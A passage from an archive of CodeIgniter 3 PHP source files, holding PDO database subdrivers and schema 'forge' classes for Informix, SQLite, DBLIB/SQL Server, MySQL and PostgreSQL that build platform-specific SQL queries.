AND "tabtype" = \'T\' AND LOWER("owner") = '.$this->escape(strtolower($this->username)); if ($prefix_limit === TRUE && $this->dbprefix !== '') { $sql .= ' AND "tabname" LIKE \''.$this->escape_like_str($this->dbprefix)."%' " .sprintf($this->_like_escape_str, $this->_like_escape_chr); } return $sql; } // -------------------------------------------------------------------- /** * Show column query * * Generates a platform-specific query string so that the column names can be fetched * * @param string $table * @return string */ protected function _list_columns($table = '') { if (strpos($table, '.') !== FALSE) { sscanf($table, '%[^.].%s', $owner, $table); } else { $owner = $this->username; } return 'SELECT "colname" FROM "systables", "syscolumns" WHERE "systables"."tabid" = "syscolumns"."tabid" AND "systables"."tabtype" = \'T\' AND LOWER("systables"."owner") = '.$this->escape(strtolower($owner)).' AND LOWER("systables"."tabname") = '.$this->escape(strtolower($table)); } // -------------------------------------------------------------------- /** * Returns an object with field data * * @param string $table * @return array */ public function field_data($table) { $sql = 'SELECT "syscolumns"."colname" AS "name", CASE "syscolumns"."coltype" WHEN 0 THEN \'CHAR\' WHEN 1 THEN \'SMALLINT\' WHEN 2 THEN \'INTEGER\' WHEN 3 THEN \'FLOAT\' WHEN 4 THEN \'SMALLFLOAT\' WHEN 5 THEN \'DECIMAL\' WHEN 6 THEN \'SERIAL\' WHEN 7 THEN \'DATE\' WHEN 8 THEN \'MONEY\' WHEN 9 THEN \'NULL\' WHEN 10 THEN \'DATETIME\' WHEN 11 THEN \'BYTE\' WHEN 12 THEN \'TEXT\' WHEN 13 THEN \'VARCHAR\' WHEN 14 THEN \'INTERVAL\' WHEN 15 THEN \'NCHAR\' WHEN 16 THEN \'NVARCHAR\' WHEN 17 THEN \'INT8\' WHEN 18 THEN \'SERIAL8\' WHEN 19 THEN \'SET\' WHEN 20 THEN \'MULTISET\' WHEN 21 THEN \'LIST\' WHEN 22 THEN \'Unnamed ROW\' WHEN 40 THEN \'LVARCHAR\' WHEN 41 THEN \'BLOB/CLOB/BOOLEAN\' WHEN 4118 THEN \'Named ROW\' ELSE "syscolumns"."coltype" END AS "type", "syscolumns"."collength" as "max_length", CASE "sysdefaults"."type" WHEN \'L\' THEN "sysdefaults"."default" ELSE NULL END AS "default" FROM "syscolumns", "systables", "sysdefaults" WHERE "syscolumns"."tabid" = "systables"."tabid" AND "systables"."tabid" = "sysdefaults"."tabid" AND "syscolumns"."colno" = "sysdefaults"."colno" AND "systables"."tabtype" = \'T\' AND LOWER("systables"."owner") = '.$this->escape(strtolower($this->username)).' AND LOWER("systables"."tabname") = '.$this->escape(strtolower($table)).' ORDER BY "syscolumns"."colno"'; return (($query = $this->query($sql)) !== FALSE) ? $query->result_object() : FALSE; } // -------------------------------------------------------------------- /** * Update statement * * Generates a platform-specific update string from the supplied data * * @param string $table * @param array $values * @return string */ protected function _update($table, $values) { $this->qb_limit = FALSE; $this->qb_orderby = array(); return parent::_update($table, $values); } // -------------------------------------------------------------------- /** * Truncate statement * * Generates a platform-specific truncate string from the supplied data * * If the database does not support the TRUNCATE statement, * then this method maps to 'DELETE FROM table' * * @param string $table * @return string */ protected function _truncate($table) { return 'TRUNCATE TABLE ONLY '.$table; } // -------------------------------------------------------------------- /** * Delete statement * * Generates a platform-specific delete string from the supplied data * * @param string $table * @return string */ protected function _delete($table) { $this->qb_limit = FALSE; return parent::_delete($table); } // -------------------------------------------------------------------- /** * LIMIT * * Generates a platform-specific LIMIT clause * * @param string $sql $SQL Query * @return string */ protected function _limit($sql) { $select = 'SELECT '.($this->qb_offset ? 'SKIP '.$this->qb_offset : '').'FIRST '.$this->qb_limit.' '; return preg_replace('/^(SELECT\s)/i', $select, $sql, 1); } } drivers/pdo/subdrivers/pdo_sqlite_driver.php 0000644 00000013014 14642767170 0015440 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * PDO SQLite Database Adapter Class * * Note: _DB is an extender class that the app controller * creates dynamically based on whether the query builder * class is being used or not. * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_pdo_sqlite_driver extends CI_DB_pdo_driver { /** * Sub-driver * * @var string */ public $subdriver = 'sqlite'; // -------------------------------------------------------------------- /** * ORDER BY random keyword * * @var array */ protected $_random_keyword = array('RANDOM()', 'RANDOM()'); // -------------------------------------------------------------------- /** * Class constructor * * Builds the DSN if not already set. * * @param array $params * @return void */ public function __construct($params) { parent::__construct($params); if (empty($this->dsn)) { $this->dsn = 'sqlite:'; if (empty($this->database) && empty($this->hostname)) { $this->database = ':memory:'; } $this->database = empty($this->database) ? $this->hostname : $this->database; } } // -------------------------------------------------------------------- /** * Show table query * * Generates a platform-specific query string so that the table names can be fetched * * @param bool $prefix_limit * @return string */ protected function _list_tables($prefix_limit = FALSE) { $sql = 'SELECT "NAME" FROM "SQLITE_MASTER" WHERE "TYPE" = \'table\''; if ($prefix_limit === TRUE && $this->dbprefix !== '') { return $sql.' AND "NAME" LIKE \''.$this->escape_like_str($this->dbprefix)."%' " .sprintf($this->_like_escape_str, $this->_like_escape_chr); } return $sql; } // -------------------------------------------------------------------- /** * Fetch Field Names * * @param string $table Table name * @return array */ public function list_fields($table) { if (($result = $this->query('PRAGMA TABLE_INFO('.$this->protect_identifiers($table, TRUE, NULL, FALSE).')')) === FALSE) { return FALSE; } $fields = array(); foreach ($result->result_array() as $row) { $fields[] = $row['name']; } return $fields; } // -------------------------------------------------------------------- /** * Returns an object with field data * * @param string $table * @return array */ public function field_data($table) { if (($query = $this->query('PRAGMA TABLE_INFO('.$this->protect_identifiers($table, TRUE, NULL, FALSE).')')) === FALSE) { return FALSE; } $query = $query->result_array(); if (empty($query)) { return FALSE; } $retval = array(); for ($i = 0, $c = count($query); $i < $c; $i++) { $retval[$i] = new stdClass(); $retval[$i]->name = $query[$i]['name']; $retval[$i]->type = $query[$i]['type']; $retval[$i]->max_length = NULL; $retval[$i]->default = $query[$i]['dflt_value']; $retval[$i]->primary_key = isset($query[$i]['pk']) ? (int) $query[$i]['pk'] : 0; } return $retval; } // -------------------------------------------------------------------- /** * Replace statement * * @param string $table Table name * @param array $keys INSERT keys * @param array $values INSERT values * @return string */ protected function _replace($table, $keys, $values) { return 'INSERT OR '.parent::_replace($table, $keys, $values); } // -------------------------------------------------------------------- /** * Truncate statement * * Generates a platform-specific truncate string from the supplied data * * If the database does not support the TRUNCATE statement, * then this method maps to 'DELETE FROM table' * * @param string $table * @return string */ protected function _truncate($table) { return 'DELETE FROM '.$table; } } drivers/pdo/subdrivers/pdo_sqlite_forge.php 0000644 00000014035 14642767171 0015254 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * PDO SQLite Forge Class * * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_pdo_sqlite_forge extends CI_DB_pdo_forge { /** * CREATE TABLE IF statement * * @var string */ protected $_create_table_if = 'CREATE TABLE IF NOT EXISTS'; /** * DROP TABLE IF statement * * @var string */ protected $_drop_table_if = 'DROP TABLE IF EXISTS'; /** * UNSIGNED support * * @var bool|array */ protected $_unsigned = FALSE; /** * NULL value representation in CREATE/ALTER TABLE statements * * @var string */ protected $_null = 'NULL'; // -------------------------------------------------------------------- /** * Class constructor * * @param object &$db Database object * @return void */ public function __construct(&$db) { parent::__construct($db); if (version_compare($this->db->version(), '3.3', '<')) { $this->_create_table_if = FALSE; $this->_drop_table_if = FALSE; } } // -------------------------------------------------------------------- /** * Create database * * @param string $db_name (ignored) * @return bool */ public function create_database($db_name) { // In SQLite, a database is created when you connect to the database. // We'll return TRUE so that an error isn't generated return TRUE; } // -------------------------------------------------------------------- /** * Drop database * * @param string $db_name (ignored) * @return bool */ public function drop_database($db_name) { // In SQLite, a database is dropped when we delete a file if (file_exists($this->db->database)) { // We need to close the pseudo-connection first $this->db->close(); if ( ! @unlink($this->db->database)) { return $this->db->db_debug ? $this->db->display_error('db_unable_to_drop') : FALSE; } elseif ( ! empty($this->db->data_cache['db_names'])) { $key = array_search(strtolower($this->db->database), array_map('strtolower', $this->db->data_cache['db_names']), TRUE); if ($key !== FALSE) { unset($this->db->data_cache['db_names'][$key]); } } return TRUE; } return $this->db->db_debug ? $this->db->display_error('db_unable_to_drop') : FALSE; } // -------------------------------------------------------------------- /** * ALTER TABLE * * @param string $alter_type ALTER type * @param string $table Table name * @param mixed $field Column definition * @return string|string[] */ protected function _alter_table($alter_type, $table, $field) { if ($alter_type === 'DROP' OR $alter_type === 'CHANGE') { // drop_column(): // BEGIN TRANSACTION; // CREATE TEMPORARY TABLE t1_backup(a,b); // INSERT INTO t1_backup SELECT a,b FROM t1; // DROP TABLE t1; // CREATE TABLE t1(a,b); // INSERT INTO t1 SELECT a,b FROM t1_backup; // DROP TABLE t1_backup; // COMMIT; return FALSE; } return parent::_alter_table($alter_type, $table, $field); } // -------------------------------------------------------------------- /** * Process column * * @param array $field * @return string */ protected function _process_column($field) { return $this->db->escape_identifiers($field['name']) .' '.$field['type'] .$field['auto_increment'] .$field['null'] .$field['unique'] .$field['default']; } // -------------------------------------------------------------------- /** * Field attribute TYPE * * Performs a data type mapping between different databases. * * @param array &$attributes * @return void */ protected function _attr_type(&$attributes) { switch (strtoupper($attributes['TYPE'])) { case 'ENUM': case 'SET': $attributes['TYPE'] = 'TEXT'; return; default: return; } } // -------------------------------------------------------------------- /** * Field attribute AUTO_INCREMENT * * @param array &$attributes * @param array &$field * @return void */ protected function _attr_auto_increment(&$attributes, &$field) { if ( ! empty($attributes['AUTO_INCREMENT']) && $attributes['AUTO_INCREMENT'] === TRUE && stripos($field['type'], 'int') !== FALSE) { $field['type'] = 'INTEGER PRIMARY KEY'; $field['default'] = ''; $field['null'] = ''; $field['unique'] = ''; $field['auto_increment'] = ' AUTOINCREMENT'; $this->primary_keys = array(); } } } drivers/pdo/subdrivers/pdo_dblib_driver.php 0000644 00000023765 14642767172 0015233 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * PDO DBLIB Database Adapter Class * * Note: _DB is an extender class that the app controller * creates dynamically based on whether the query builder * class is being used or not. * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_pdo_dblib_driver extends CI_DB_pdo_driver { /** * Sub-driver * * @var string */ public $subdriver = 'dblib'; // -------------------------------------------------------------------- /** * ORDER BY random keyword * * @var array */ protected $_random_keyword = array('NEWID()', 'RAND(%d)'); /** * Quoted identifier flag * * Whether to use SQL-92 standard quoted identifier * (double quotes) or brackets for identifier escaping. * * @var bool */ protected $_quoted_identifier; // -------------------------------------------------------------------- /** * Class constructor * * Builds the DSN if not already set. * * @param array $params * @return void */ public function __construct($params) { parent::__construct($params); if (empty($this->dsn)) { $this->dsn = $params['subdriver'].':host='.(empty($this->hostname) ? '127.0.0.1' : $this->hostname); if ( ! empty($this->port)) { $this->dsn .= (DIRECTORY_SEPARATOR === '\\' ? ',' : ':').$this->port; } empty($this->database) OR $this->dsn .= ';dbname='.$this->database; empty($this->char_set) OR $this->dsn .= ';charset='.$this->char_set; empty($this->appname) OR $this->dsn .= ';appname='.$this->appname; } else { if ( ! empty($this->char_set) && strpos($this->dsn, 'charset=', 6) === FALSE) { $this->dsn .= ';charset='.$this->char_set; } $this->subdriver = 'dblib'; } } // -------------------------------------------------------------------- /** * Database connection * * @param bool $persistent * @return object */ public function db_connect($persistent = FALSE) { if ($persistent === TRUE) { log_message('debug', "dblib driver doesn't support persistent connections"); } $this->conn_id = parent::db_connect(FALSE); if ( ! is_object($this->conn_id)) { return $this->conn_id; } // Determine how identifiers are escaped $query = $this->query('SELECT CASE WHEN (@@OPTIONS | 256) = @@OPTIONS THEN 1 ELSE 0 END AS qi'); $query = $query->row_array(); $this->_quoted_identifier = empty($query) ? FALSE : (bool) $query['qi']; $this->_escape_char = ($this->_quoted_identifier) ? '"' : array('[', ']'); return $this->conn_id; } // -------------------------------------------------------------------- /** * Show table query * * Generates a platform-specific query string so that the table names can be fetched * * @param bool $prefix_limit * @return string */ protected function _list_tables($prefix_limit = FALSE) { $sql = 'SELECT '.$this->escape_identifiers('name') .' FROM '.$this->escape_identifiers('sysobjects') .' WHERE '.$this->escape_identifiers('type')." = 'U'"; if ($prefix_limit === TRUE && $this->dbprefix !== '') { $sql .= ' AND '.$this->escape_identifiers('name')." LIKE '".$this->escape_like_str($this->dbprefix)."%' " .sprintf($this->_like_escape_str, $this->_like_escape_chr); } return $sql.' ORDER BY '.$this->escape_identifiers('name'); } // -------------------------------------------------------------------- /** * Show column query * * Generates a platform-specific query string so that the column names can be fetched * * @param string $table * @return string */ protected function _list_columns($table = '') { return 'SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.Columns WHERE UPPER(TABLE_NAME) = '.$this->escape(strtoupper($table)); } // -------------------------------------------------------------------- /** * Returns an object with field data * * @param string $table * @return array */ public function field_data($table) { $sql = 'SELECT COLUMN_NAME, DATA_TYPE, CHARACTER_MAXIMUM_LENGTH, NUMERIC_PRECISION, COLUMN_DEFAULT FROM INFORMATION_SCHEMA.Columns WHERE UPPER(TABLE_NAME) = '.$this->escape(strtoupper($table)); if (($query = $this->query($sql)) === FALSE) { return FALSE; } $query = $query->result_object(); $retval = array(); for ($i = 0, $c = count($query); $i < $c; $i++) { $retval[$i] = new stdClass(); $retval[$i]->name = $query[$i]->COLUMN_NAME; $retval[$i]->type = $query[$i]->DATA_TYPE; $retval[$i]->max_length = ($query[$i]->CHARACTER_MAXIMUM_LENGTH > 0) ? $query[$i]->CHARACTER_MAXIMUM_LENGTH : $query[$i]->NUMERIC_PRECISION; $retval[$i]->default = $query[$i]->COLUMN_DEFAULT; } return $retval; } // -------------------------------------------------------------------- /** * Update statement * * Generates a platform-specific update string from the supplied data * * @param string $table * @param array $values * @return string */ protected function _update($table, $values) { $this->qb_limit = FALSE; $this->qb_orderby = array(); return parent::_update($table, $values); } // -------------------------------------------------------------------- /** * Delete statement * * Generates a platform-specific delete string from the supplied data * * @param string $table * @return string */ protected function _delete($table) { if ($this->qb_limit) { return 'WITH ci_delete AS (SELECT TOP '.$this->qb_limit.' * FROM '.$table.$this->_compile_wh('qb_where').') DELETE FROM ci_delete'; } return parent::_delete($table); } // -------------------------------------------------------------------- /** * LIMIT * * Generates a platform-specific LIMIT clause * * @param string $sql SQL Query * @return string */ protected function _limit($sql) { $limit = $this->qb_offset + $this->qb_limit; // As of SQL Server 2005 (9.0.*) ROW_NUMBER() is supported, // however an ORDER BY clause is required for it to work if (version_compare($this->version(), '9', '>=') && $this->qb_offset && ! empty($this->qb_orderby)) { $orderby = $this->_compile_order_by(); // We have to strip the ORDER BY clause $sql = trim(substr($sql, 0, strrpos($sql, $orderby))); // Get the fields to select from our subquery, so that we can avoid CI_rownum appearing in the actual results if (count($this->qb_select) === 0 OR strpos(implode(',', $this->qb_select), '*') !== FALSE) { $select = '*'; // Inevitable } else { // Use only field names and their aliases, everything else is out of our scope. $select = array(); $field_regexp = ($this->_quoted_identifier) ? '("[^\"]+")' : '(\[[^\]]+\])'; for ($i = 0, $c = count($this->qb_select); $i < $c; $i++) { $select[] = preg_match('/(?:\s|\.)'.$field_regexp.'$/i', $this->qb_select[$i], $m) ? $m[1] : $this->qb_select[$i]; } $select = implode(', ', $select); } return 'SELECT '.$select." FROM (\n\n" .preg_replace('/^(SELECT( DISTINCT)?)/i', '\\1 ROW_NUMBER() OVER('.trim($orderby).') AS '.$this->escape_identifiers('CI_rownum').', ', $sql) ."\n\n) ".$this->escape_identifiers('CI_subquery') ."\nWHERE ".$this->escape_identifiers('CI_rownum').' BETWEEN '.($this->qb_offset + 1).' AND '.$limit; } return preg_replace('/(^\SELECT (DISTINCT)?)/i','\\1 TOP '.$limit.' ', $sql); } // -------------------------------------------------------------------- /** * Insert batch statement * * Generates a platform-specific insert string from the supplied data. * * @param string $table Table name * @param array $keys INSERT keys * @param array $values INSERT values * @return string|bool */ protected function _insert_batch($table, $keys, $values) { // Multiple-value inserts are only supported as of SQL Server 2008 if (version_compare($this->version(), '10', '>=')) { return parent::_insert_batch($table, $keys, $values); } return ($this->db_debug) ? $this->display_error('db_unsupported_feature') : FALSE; } // -------------------------------------------------------------------- /** * Database version number * * @return string */ public function version() { if (isset($this->data_cache['version'])) { return $this->data_cache['version']; } return $this->data_cache['version'] = $this->conn_id->query("SELECT SERVERPROPERTY('ProductVersion') AS ver")->fetchColumn(0); } } drivers/pdo/subdrivers/pdo_mysql_forge.php 0000644 00000014352 14642767173 0015124 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * PDO MySQL Forge Class * * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_pdo_mysql_forge extends CI_DB_pdo_forge { /** * CREATE DATABASE statement * * @var string */ protected $_create_database = 'CREATE DATABASE %s CHARACTER SET %s COLLATE %s'; /** * CREATE TABLE IF statement * * @var string */ protected $_create_table_if = 'CREATE TABLE IF NOT EXISTS'; /** * CREATE TABLE keys flag * * Whether table keys are created from within the * CREATE TABLE statement. * * @var bool */ protected $_create_table_keys = TRUE; /** * DROP TABLE IF statement * * @var string */ protected $_drop_table_if = 'DROP TABLE IF EXISTS'; /** * UNSIGNED support * * @var array */ protected $_unsigned = array( 'TINYINT', 'SMALLINT', 'MEDIUMINT', 'INT', 'INTEGER', 'BIGINT', 'REAL', 'DOUBLE', 'DOUBLE PRECISION', 'FLOAT', 'DECIMAL', 'NUMERIC' ); /** * NULL value representation in CREATE/ALTER TABLE statements * * @var string */ protected $_null = 'NULL'; // -------------------------------------------------------------------- /** * CREATE TABLE attributes * * @param array $attributes Associative array of table attributes * @return string */ protected function _create_table_attr($attributes) { $sql = ''; foreach (array_keys($attributes) as $key) { if (is_string($key)) { $sql .= ' '.strtoupper($key).' = '.$attributes[$key]; } } if ( ! empty($this->db->char_set) && ! strpos($sql, 'CHARACTER SET') && ! strpos($sql, 'CHARSET')) { $sql .= ' DEFAULT CHARACTER SET = '.$this->db->char_set; } if ( ! empty($this->db->dbcollat) && ! strpos($sql, 'COLLATE')) { $sql .= ' COLLATE = '.$this->db->dbcollat; } return $sql; } // -------------------------------------------------------------------- /** * ALTER TABLE * * @param string $alter_type ALTER type * @param string $table Table name * @param mixed $field Column definition * @return string|string[] */ protected function _alter_table($alter_type, $table, $field) { if ($alter_type === 'DROP') { return parent::_alter_table($alter_type, $table, $field); } $sql = 'ALTER TABLE '.$this->db->escape_identifiers($table); for ($i = 0, $c = count($field); $i < $c; $i++) { if ($field[$i]['_literal'] !== FALSE) { $field[$i] = ($alter_type === 'ADD') ? "\n\tADD ".$field[$i]['_literal'] : "\n\tMODIFY ".$field[$i]['_literal']; } else { if ($alter_type === 'ADD') { $field[$i]['_literal'] = "\n\tADD "; } else { $field[$i]['_literal'] = empty($field[$i]['new_name']) ? "\n\tMODIFY " : "\n\tCHANGE "; } $field[$i] = $field[$i]['_literal'].$this->_process_column($field[$i]); } } return array($sql.implode(',', $field)); } // -------------------------------------------------------------------- /** * Process column * * @param array $field * @return string */ protected function _process_column($field) { $extra_clause = isset($field['after']) ? ' AFTER '.$this->db->escape_identifiers($field['after']) : ''; if (empty($extra_clause) && isset($field['first']) && $field['first'] === TRUE) { $extra_clause = ' FIRST'; } return $this->db->escape_identifiers($field['name']) .(empty($field['new_name']) ? '' : ' '.$this->db->escape_identifiers($field['new_name'])) .' '.$field['type'].$field['length'] .$field['unsigned'] .$field['null'] .$field['default'] .$field['auto_increment'] .$field['unique'] .(empty($field['comment']) ? '' : ' COMMENT '.$field['comment']) .$extra_clause; } // -------------------------------------------------------------------- /** * Process indexes * * @param string $table (ignored) * @return string */ protected function _process_indexes($table) { $sql = ''; for ($i = 0, $c = count($this->keys); $i < $c; $i++) { if (is_array($this->keys[$i])) { for ($i2 = 0, $c2 = count($this->keys[$i]); $i2 < $c2; $i2++) { if ( ! isset($this->fields[$this->keys[$i][$i2]])) { unset($this->keys[$i][$i2]); continue; } } } elseif ( ! isset($this->fields[$this->keys[$i]])) { unset($this->keys[$i]); continue; } is_array($this->keys[$i]) OR $this->keys[$i] = array($this->keys[$i]); $sql .= ",\n\tKEY ".$this->db->escape_identifiers(implode('_', $this->keys[$i])) .' ('.implode(', ', $this->db->escape_identifiers($this->keys[$i])).')'; } $this->keys = array(); return $sql; } } drivers/pdo/subdrivers/pdo_pgsql_forge.php 0000644 00000013247 14642767174 0015110 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * PDO PostgreSQL Forge Class * * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_pdo_pgsql_forge extends CI_DB_pdo_forge { /** * DROP TABLE IF statement * * @var string */ protected $_drop_table_if = 'DROP TABLE IF EXISTS'; /** * UNSIGNED support * * @var array */ protected $_unsigned = array( 'INT2' => 'INTEGER', 'SMALLINT' => 'INTEGER', 'INT' => 'BIGINT', 'INT4' => 'BIGINT', 'INTEGER' => 'BIGINT', 'INT8' => 'NUMERIC', 'BIGINT' => 'NUMERIC', 'REAL' => 'DOUBLE PRECISION', 'FLOAT' => 'DOUBLE PRECISION' ); /** * NULL value representation in CREATE/ALTER TABLE statements * * @var string */ protected $_null = 'NULL'; // -------------------------------------------------------------------- /** * Class constructor * * @param object &$db Database object * @return void */ public function __construct(&$db) { parent::__construct($db); if (version_compare($this->db->version(), '9.0', '>')) { $this->create_table_if = 'CREATE TABLE IF NOT EXISTS'; } } // -------------------------------------------------------------------- /** * ALTER TABLE * * @param string $alter_type ALTER type * @param string $table Table name * @param mixed $field Column definition * @return string|string[] */ protected function _alter_table($alter_type, $table, $field) { if (in_array($alter_type, array('DROP', 'ADD'), TRUE)) { return parent::_alter_table($alter_type, $table, $field); } $sql = 'ALTER TABLE '.$this->db->escape_identifiers($table); $sqls = array(); for ($i = 0, $c = count($field); $i < $c; $i++) { if ($field[$i]['_literal'] !== FALSE) { return FALSE; } if (version_compare($this->db->version(), '8', '>=') && isset($field[$i]['type'])) { $sqls[] = $sql.' ALTER COLUMN '.$this->db->escape_identifiers($field[$i]['name']) .' TYPE '.$field[$i]['type'].$field[$i]['length']; } if ( ! empty($field[$i]['default'])) { $sqls[] = $sql.' ALTER COLUMN '.$this->db->escape_identifiers($field[$i]['name']) .' SET '.$field[$i]['default']; } if (isset($field[$i]['null'])) { $sqls[] = $sql.' ALTER COLUMN '.$this->db->escape_identifiers($field[$i]['name']) .(trim($field[$i]['null']) === $this->_null ? ' DROP NOT NULL' : ' SET NOT NULL'); } if ( ! 